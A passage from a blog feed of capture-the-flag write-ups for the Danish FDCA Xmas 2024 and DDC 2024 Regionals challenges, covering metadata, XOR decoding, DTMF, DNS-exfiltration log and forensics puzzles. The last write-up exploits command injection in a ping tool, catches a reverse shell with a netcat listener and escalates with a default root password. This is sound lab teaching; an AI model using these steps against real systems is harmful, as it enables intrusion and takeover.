<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip SuperHemmeligt.zip
</span></span><span style="display:flex;"><span>Archive:  SuperHemmeligt.zip
</span></span><span style="display:flex;"><span>[SuperHemmeligt.zip] SuperHemmeligt/Papirkurven/HemmeligePlaner/Key.jpeg password:
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Key.jpeg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Mjolnir_Jail.jpeg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Hemmelig_Plan.docx
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Dagger.jpeg
</span></span><span style="display:flex;"><span>   creating: SuperHemmeligt/ThorMemes/
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/ThorMemes/6po24.jpg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/ThorMemes/47ay1sk2ub011.jpg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/ThorMemes/1002098035-photo-u1.jpg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/ThorMemes/images.jpg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/ThorMemes/05c101f998e69cf5ae48b03cf8146cd7.jpg
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/ThorMemes/tumblr_8693791f74757b0a162ca0f23b1db2d7_941e022a_640.jpg
</span></span><span style="display:flex;"><span>   creating: SuperHemmeligt/KageOpskrifter til jul/
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/KageOpskrifter til jul/Kanelsnegle kage opskrift.docx
</span></span><span style="display:flex;"><span> extracting: SuperHemmeligt/KageOpskrifter til jul/Drommekage.webp
</span></span><span style="display:flex;"><span>  inflating: SuperHemmeligt/KageOpskrifter til jul/Drommekage opskrift.docx
</span></span></code></pre></div><p>Reading <code>SuperHemmeligt/Papirkurven/HemmeligePlaner/Hemmelig_Plan.docx</code> we know that they are hiding data in metadata, so lets look at the metadata of the jpg image in the same folder:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ exiftool SuperHemmeligt/Papirkurven/HemmeligePlaner/Mjolnir_Jail.jpeg
</span></span><span style="display:flex;"><span>ExifTool Version Number         : 13.05
</span></span><span style="display:flex;"><span>File Name                       : Mjolnir_Jail.jpeg
</span></span><span style="display:flex;"><span>Directory                       : SuperHemmeligt/Papirkurven/HemmeligePlaner
</span></span><span style="display:flex;"><span>File Size                       : 37 kB
</span></span><span style="display:flex;"><span>File Modification Date/Time     : 2024:11:27 23:56:20+01:00
</span></span><span style="display:flex;"><span>File Access Date/Time           : 2024:11:28 00:05:58+01:00
</span></span><span style="display:flex;"><span>File Inode Change Date/Time     : 2024:12:06 14:01:05+01:00
</span></span><span style="display:flex;"><span>File Permissions                : -rw-rw-r--
</span></span><span style="display:flex;"><span>File Type                       : JPEG
</span></span><span style="display:flex;"><span>File Type Extension             : jpg
</span></span><span style="display:flex;"><span>MIME Type                       : image/jpeg
</span></span><span style="display:flex;"><span>JFIF Version                    : 1.01
</span></span><span style="display:flex;"><span>Resolution Unit                 : None
</span></span><span style="display:flex;"><span>X Resolution                    : 1
</span></span><span style="display:flex;"><span>Y Resolution                    : 1
</span></span><span style="display:flex;"><span>XMP Toolkit                     : Image::ExifTool 12.76
</span></span><span style="display:flex;"><span>Author                          : RkRDQXtteV9wcjNjMW91c19kNHQ0fQ==
</span></span><span style="display:flex;"><span>Image Width                     : 1024
</span></span><span style="display:flex;"><span>Image Height                    : 1024
</span></span><span style="display:flex;"><span>Encoding Process                : Baseline DCT, Huffman coding
</span></span><span style="display:flex;"><span>Bits Per Sample                 : 8
</span></span><span style="display:flex;"><span>Color Components                : 3
</span></span><span style="display:flex;"><span>Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
</span></span><span style="display:flex;"><span>Image Size                      : 1024x1024
</span></span><span style="display:flex;"><span>Megapixels                      : 1.0
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ echo <span style="color:#e6db74">&#34;RkRDQXtteV9wcjNjMW91c19kNHQ0fQ==&#34;</span> | base64 -d
</span></span><span style="display:flex;"><span>FDCA{my_pr3c1ous_d4t4}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 5 - The Code for Christmas</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-5-the-code-for-christmas/</link><pubDate>Tue, 24 Dec 2024 15:59:05 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-5-the-code-for-christmas/</guid><description>Challenge Description Danish (original) Julen nærmer sig med stormskridt, og Thor har igen formået at skabe problemer. Denne gang har han mistet den hemmelige kode, der skulle aktiveres for at starte festen i Asgård! Odin var overbevist om, at en digital løsning var fremtiden og havde fået Loke til at udvikle et system, hvor kun den rette kode kunne låse op for Valhallas julefest.
Men selvfølgelig havde Loke en skjult dagsorden, og nu vil han ikke give koden tilbage og skrev bare, “Alt hvad der skal bruges, er i systemet.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Julen nærmer sig med stormskridt, og Thor har igen formået at skabe problemer. Denne gang har han mistet den hemmelige kode, der skulle aktiveres for at starte festen i Asgård! Odin var overbevist om, at en digital løsning var fremtiden og havde fået Loke til at udvikle et system, hvor kun den rette kode kunne låse op for Valhallas julefest.</p>
<p>Men selvfølgelig havde Loke en skjult dagsorden, og nu vil han ikke give koden tilbage og skrev bare, “Alt hvad der skal bruges, er i systemet. God jul… eller måske ikke…”</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Christmas is approaching rapidly, and Thor has once again managed to cause trouble. This time, he has lost the secret code that was supposed to be activated to start the party in Asgard! Odin was convinced that a digital solution was the future and had asked Loki to develop a system where only the correct code could unlock the Christmas party in Valhalla.</p>
<p>But of course, Loki had a hidden agenda, and now he refuses to give the code back, simply writing, “Everything you need is in the system. Merry Christmas… or maybe not…”</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/jul.dll">jul.dll</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Using the <code>file</code> command we can see that it is a .NET assembly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ file jul.dll
</span></span><span style="display:flex;"><span>jul.dll: PE32+ executable for MS Windows 4.00 (console), x86-64 Mono/.Net assembly, 2 sections
</span></span></code></pre></div><p>This means that we can likely recover some or all of the source code using something like <a href="https://github.com/dnSpy/dnSpy">dnSpy</a>, <a href="https://github.com/icsharpcode/ILSpy">ILSpy</a>, or in my case <a href="https://github.com/icsharpcode/AvaloniaILSpy">AvaloniaILSpy</a>.</p>
<p>Opening the code in AvaloniaILSpy and navigating to the main function we get the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-csharp" data-lang="csharp"><span style="display:flex;"><span><span style="color:#75715e">// FlagSpiseren</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> Main()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	Console.WriteLine(<span style="color:#e6db74">&#34;HA! Jeg har gemt flaget i min mave og du finder det ALDRIG!&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">byte</span>[] array = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">byte</span>[<span style="color:#ae81ff">22</span>]
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">33</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">9</span>, <span style="color:#ae81ff">26</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">41</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">13</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#ae81ff">107</span>, <span style="color:#ae81ff">9</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">74</span>, <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">44</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">61</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>	};
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">string</span> text = <span style="color:#e6db74">&#34;JegHarGemtFlagetBagXor&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">byte</span>[] array2 = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">byte</span>[text.Length];
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i = <span style="color:#ae81ff">0</span>; i &lt; text.Length; i++)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		array2[i] = (<span style="color:#66d9ef">byte</span>)(text[i] ^ array[i]);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We can quickly do the same operations in python:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>first <span style="color:#f92672">=</span> [<span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">33</span>, <span style="color:#ae81ff">36</span>, <span style="color:#ae81ff">9</span>, <span style="color:#ae81ff">26</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">41</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">13</span>,
</span></span><span style="display:flex;"><span>         <span style="color:#ae81ff">107</span>, <span style="color:#ae81ff">9</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">74</span>, <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">44</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">61</span>,
</span></span><span style="display:flex;"><span>         <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">15</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>second <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;JegHarGemtFlagetBagXor&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> bytes([
</span></span><span style="display:flex;"><span>  x <span style="color:#f92672">^</span> y <span style="color:#66d9ef">for</span> x, y <span style="color:#f92672">in</span> zip(first, second)
</span></span><span style="display:flex;"><span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(flag<span style="color:#f92672">.</span>decode())
</span></span></code></pre></div><p>And we get the flag: <code>FDCA{dnspy-er-min-ven}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 4 - Jætternes Spion Hotline</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-4-j%C3%A6tternes-spion-hotline/</link><pubDate>Tue, 24 Dec 2024 15:59:04 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-4-j%C3%A6tternes-spion-hotline/</guid><description>Challenge Description Danish (original) Vi har modtaget efterretning om, at en spion i Asgard har været i kontakt med jætternes spion-hotline. Vi har opsnappet et telefonopkald, hvor spionen indtastede deres spionnummer.
Vi har brug for din hjælp til at identificere det indtastede spionnummer, så vi kan komme tættere på at afsløre deres identitet.
Lav flaget ud fra FDCA{spionnummer}
Flag eksempel: FDCA{123456789}
English (from chatgpt) We have received intelligence that a spy in Asgard has been in contact with the giants&amp;rsquo; spy hotline.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Vi har modtaget efterretning om, at en spion i Asgard har været i kontakt med jætternes spion-hotline. Vi har opsnappet et telefonopkald, hvor spionen indtastede deres spionnummer.</p>
<p>Vi har brug for din hjælp til at identificere det indtastede spionnummer, så vi kan komme tættere på at afsløre deres identitet.</p>
<p>Lav flaget ud fra FDCA{spionnummer}</p>
<p>Flag eksempel:
FDCA{123456789}</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>We have received intelligence that a spy in Asgard has been in contact with the giants&rsquo; spy hotline. We have intercepted a phone call where the spy entered their spy number.</p>
<p>We need your help to identify the entered spy number so that we can get closer to revealing their identity.</p>
<p>Create the flag based on FDCA{spy_number}</p>
<p>Flag example: FDCA{123456789}</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/OpsnappetOpkald.wav">OpsnappetOpkald.wav</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Pressing numbers on the phone produces DTMF tones, so we can just use <a href="https://dtmf.netlify.app">this DTMF Decoder</a> to get the code: <code>FDCA{012500118}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 3 - Flag-tyveri</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-3-flag-tyveri/</link><pubDate>Tue, 24 Dec 2024 15:59:03 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-3-flag-tyveri/</guid><description>Challenge Description Danish (original) Jætterne har igen skabt problemer! Thor har opdaget, at nogen har stjålet et vigtigt flag fra hans system. Sporene peger på, at det er sket lidt efter lidt. Thor har sendt os en logfil, men vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet.
English (from chatgpt) The giants have caused trouble again! Thor has discovered that someone has stolen an important flag from his system.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Jætterne har igen skabt problemer! Thor har opdaget, at nogen har stjålet et vigtigt flag fra hans system. Sporene peger på, at det er sket lidt efter lidt. Thor har sendt os en logfil, men vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>The giants have caused trouble again! Thor has discovered that someone has stolen an important flag from his system. The traces suggest that it happened gradually. Thor has sent us a log file, but we need your help to figure out what has been stolen.</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/handout.evtx">handout.evtx</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Looking at the events from the file using <code>evtx_dump</code> I saw some urls in the form of <code>&lt;char&gt;.&lt;chars&gt;.hackerneivalhalla.dk</code>, so I ran it though <code>grep</code> to get all the urls:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ evtx_dump handout.evtx | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>&gt; grep -Eo <span style="color:#e6db74">&#39;.\..*\.hackerneivalhalla\.dk&#39;</span>
</span></span><span style="display:flex;"><span>F.e3y8h.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>D.5gukm.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>C.ewke2.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>A.deir0.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>{.h9dmt.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>V.2922g.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>a.te1gj.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>l.f3t74.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>h.bc26p.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>a.pec4y.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>l.0xomq.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>l.2u5oy.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>a.v4e93.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>_.4r878.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>H.10uq9.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>a.2v9q3.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>c.1774f.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>k.uluti.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>e.d7eke.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>r.ok5z6.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>n.r3llb.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>e.js8z7.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>_.o6sd3.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>E.2pl5r.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>r.qit72.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>_.60nac.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>S.bow48.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>n.xw4jc.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>u.p4q9h.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span>}.jbcnd.hackerneivalhalla.dk
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ <span style="color:#75715e"># Nicer formatting</span>
</span></span><span style="display:flex;"><span>$ evtx_dump handout.evtx | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>&gt; grep -Eo <span style="color:#e6db74">&#39;.\..*\.hackerneivalhalla\.dk&#39;</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>&gt; sed -E <span style="color:#e6db74">&#39;s/\..*\.hackerneivalhalla\.dk//&#39;</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>&gt; tr -d <span style="color:#e6db74">&#39;\n&#39;</span>
</span></span><span style="display:flex;"><span>FDCA{Valhalla_Hackerne_Er_Snu}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 2 - Gaven der Forsvandt</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-2-gaven-der-forsvandt/</link><pubDate>Tue, 24 Dec 2024 15:59:02 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-2-gaven-der-forsvandt/</guid><description>Challenge Description Danish (original) Midt under juleforberedelserne i Valhalla er en vigtig gave til guderne forsvundet fra en af de fælles computere, der blev brugt i gave hallen!
Gaven, tiltænkt Thor, var omhyggeligt gemt i de digitale haller, men nu er den væk fra computeren. Odin er rasende og mistænker, at Loke står bag endnu et snedigt trick for at skabe kaos i julefreden. Freja mener at have set Loke gå rundt med et USB-stick.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Midt under juleforberedelserne i Valhalla er en vigtig gave til guderne forsvundet fra en af de fælles computere, der blev brugt i gave hallen!</p>
<p>Gaven, tiltænkt Thor, var omhyggeligt gemt i de digitale haller, men nu er den væk fra computeren. Odin er rasende og mistænker, at Loke står bag endnu et snedigt trick for at skabe kaos i julefreden.
Freja mener at have set Loke gå rundt med et USB-stick.</p>
<p>Vi har fået noget data fra maskinen, måske du kan finde noget?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>During the Christmas preparations in Valhalla, an important gift for the gods has disappeared from one of the shared computers used in the gift hall!</p>
<p>The gift, intended for Thor, was carefully stored in the digital halls, but now it is missing from the computer. Odin is furious and suspects that Loki is behind yet another clever trick to create chaos during the Christmas peace. Freya believes she saw Loki walking around with a USB stick.</p>
<p>We have received some data from the machine, maybe you can find something?</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/2024-11-23t14.55.47_investigationpackage.7z">2024-11-23t14.55.47_investigationpackage.7z</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>I went with the very low effort solution of just grepping for <em>FDCA</em> and <em>RkRDQ</em> (first few chars of the base64 version of <em>FDCA</em>) as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ grep <span style="color:#e6db74">&#34;RkRDQ&#34;</span> -r .
</span></span><span style="display:flex;"><span>grep: ./C/Windows/System32/config/SYSTEM.LOG1: binary file matches
</span></span><span style="display:flex;"><span>grep: ./C/Windows/System32/config/SYSTEM: binary file matches
</span></span><span style="display:flex;"><span>grep: ./C/Users/chri8/NTUSER.DAT: binary file matches
</span></span><span style="display:flex;"><span>grep: ./C/Users/chri8/ntuser.dat.LOG1: binary file matches
</span></span></code></pre></div><p>The base64 grep matched <code>./C/Users/chri8/NTUSER.DAT</code>, so I ran strings on it into grep and decoded the base64:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ strings C/Users/chri8/NTUSER.DAT | grep <span style="color:#e6db74">&#34;RkRDQ&#34;</span>
</span></span><span style="display:flex;"><span>RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=
</span></span><span style="display:flex;"><span>RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=
</span></span><span style="display:flex;"><span>RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ echo <span style="color:#e6db74">&#34;RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=&#34;</span> | base64 -d
</span></span><span style="display:flex;"><span>FDCA{USB_F0R3N51C5_R_N1C3}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 1 - Thors Digitale Ragnarok</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-1-thors-digitale-ragnarok/</link><pubDate>Tue, 24 Dec 2024 15:59:01 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-1-thors-digitale-ragnarok/</guid><description>Challenge Description Danish (original) Thor har fået sin første smartphone – og det går ikke helt som planlagt. I sin begejstring har han delt mere, end hvad godt er, og nu står Asgård over for en potentiel katastrofe. Loke har opsnappet hemmelig information, og jætterne planlægger et angreb på Bifrost-porten.
Din opgave er at undersøge Thors online-profil og finde frem til:
Vagtskifte Tidspunkt ved Bifrost. Kodeordet til våbenkammeret. Hvornår Heimdal holder pause.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Thor har fået sin første smartphone – og det går ikke helt som planlagt. I sin begejstring har han delt mere, end hvad godt er, og nu står Asgård over for en potentiel katastrofe. Loke har opsnappet hemmelig information, og jætterne planlægger et angreb på Bifrost-porten.</p>
<p>Din opgave er at undersøge Thors online-profil og finde frem til:</p>
<ul>
<li>Vagtskifte Tidspunkt ved Bifrost.</li>
<li>Kodeordet til våbenkammeret.</li>
<li>Hvornår Heimdal holder pause.</li>
<li>Dato for Lokes planlagte angreb.</li>
</ul>
<p>Pas på – Loke er snu, og han gemmer sine spor godt.</p>
<p>Hint: Thor elsker BlueSky og går under navnet @thorthundergod90.bsky.social</p>
<p>Lav flaget i formatet: FDCA{vagtskiftetidspunkt_kodeord_HeimdalsPause_angrebsdato}</p>
<p>Flag Eksempel:
FDCA{15:00_GodKode123_19:00_23/11/2024}</p>
<p>INFO: Du behøver ikke at oprette en BlueSky konto for at kunne finde svarene.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Thor has gotten his first smartphone – and it&rsquo;s not going as planned. In his excitement, he has shared more than he should, and now Asgard is facing a potential disaster. Loki has intercepted secret information, and the giants are planning an attack on the Bifrost gate.</p>
<p>Your task is to investigate Thor&rsquo;s online profile and find out:</p>
<ul>
<li>Shift change time at Bifrost.</li>
<li>The password to the armory.</li>
<li>When Heimdal takes his break.</li>
<li>The date of Loki&rsquo;s planned attack.</li>
</ul>
<p>Be careful – Loki is crafty, and he hides his tracks well.</p>
<p>Hint: Thor loves BlueSky and goes by the name @thorthundergod90.bsky.social.</p>
<p>Make the flag in the format: FDCA{shiftchangetime_password_HeimdalsBreak_attackdate}</p>
<p>Flag Example: FDCA{15:00_GoodCode123_19:00_23/11/2024}</p>
<p>INFO: You do not need to create a BlueSky account to find the answers.</p>
<h2 id="solution">Solution</h2>
<p>The first 3 parts were easy:</p>
<ul>
<li>Shift change from hashtag <a href="https://bsky.app/profile/thorthundergod90.bsky.social/post/3lbw22xsba225">here</a>: 12:00</li>
<li>Password from image <a href="https://bsky.app/profile/thorthundergod90.bsky.social/post/3lbv2slmtcs25">here</a>: THUNDER9000</li>
<li>Heimdals break from <a href="https://bsky.app/profile/thorthundergod90.bsky.social/post/3lbwo6f2gos25">here</a>: 14:30</li>
</ul>
<p>The attack date is a bit harder but <a href="https://bsky.app/profile/thorthundergod90.bsky.social/post/3lbwpsqhzhc25">this post</a> was one of the better hints at 25/12/2024. I ended up kinda bruteforcing the possible dates.</p>
<p>So the flag is <code>FDCA{12:00_THUNDER9000_14:30_25/12/2024}</code></p>
]]></content></item><item><title>DDC 2024 Regionals - Challenge 21</title><link>https://osiriz.dev/posts/2024/04/ddc-2024-regionals-challenge-21/</link><pubDate>Wed, 24 Apr 2024 11:00:00 +0200</pubDate><guid>https://osiriz.dev/posts/2024/04/ddc-2024-regionals-challenge-21/</guid><description>We are given the following url: http://toolbox.hkn
Visiting the site we see that it is a toolbox of network diagnostic tools. If we look at the ping tool we can see that we are able to run other bash commands by separating them with a ;: We sadly cant just read the flag: We can see that this is because it is owned by root and only root has read permissions: So lets upload a revshell so then try and privesc from there.</description><content type="html"><![CDATA[<p>We are given the following url: <code>http://toolbox.hkn</code></p>
<p>Visiting the site we see that it is a toolbox of network diagnostic tools.

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/challenge21/front.png"  class="left"  />

</p>
<p>If we look at the <code>ping</code> tool we can see that we are able to run other bash commands by separating them with a <code>;</code>:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/challenge21/ls_rce.png"  class="left"  />

</p>
<p>We sadly cant just read the flag:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/challenge21/cat_flag_rce.png"  class="left"  />

</p>
<p>We can see that this is because it is owned by <code>root</code> and only <code>root</code> has read permissions:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/challenge21/ls-l_flag_rce.png"  class="left"  />

</p>
<p>So lets upload a revshell so then try and privesc from there.</p>
<p>We create a revshell using <a href="https://revshell.com">https://revshells.com</a>, setup a listener (<code>nc -lvnp 9001</code>) and then execute on the target (I saved the revshell to a local file and then served that file with <code>python -m http.server</code>):

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/challenge21/revshell_rce.png"  class="left"  />

</p>
<p>And we get a shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ nc -lvnp <span style="color:#ae81ff">9001</span>
</span></span><span style="display:flex;"><span>listening on [any] 9001 ...
</span></span><span style="display:flex;"><span>connect to [25.145.240.254] from (UNKNOWN) [25.145.240.1] 56300
</span></span><span style="display:flex;"><span>flask@9013395f3c04:/www$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>app  flag.txt  instance  run.py
</span></span></code></pre></div><p>And privesc from here is deceptively easy, running <a href="https://github.com/peass-ng/PEASS-ng/tree/master">linpeas.sh</a> doesn&rsquo;t really give any useful privesc methods, but you can actually just switch to <code>root</code> using the password <code>root</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>flask@9013395f3c04:/www$ su root
</span></span><span style="display:flex;"><span>su root
</span></span><span style="display:flex;"><span>Password: root
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>root@9013395f3c04:/www# cat flag.txt
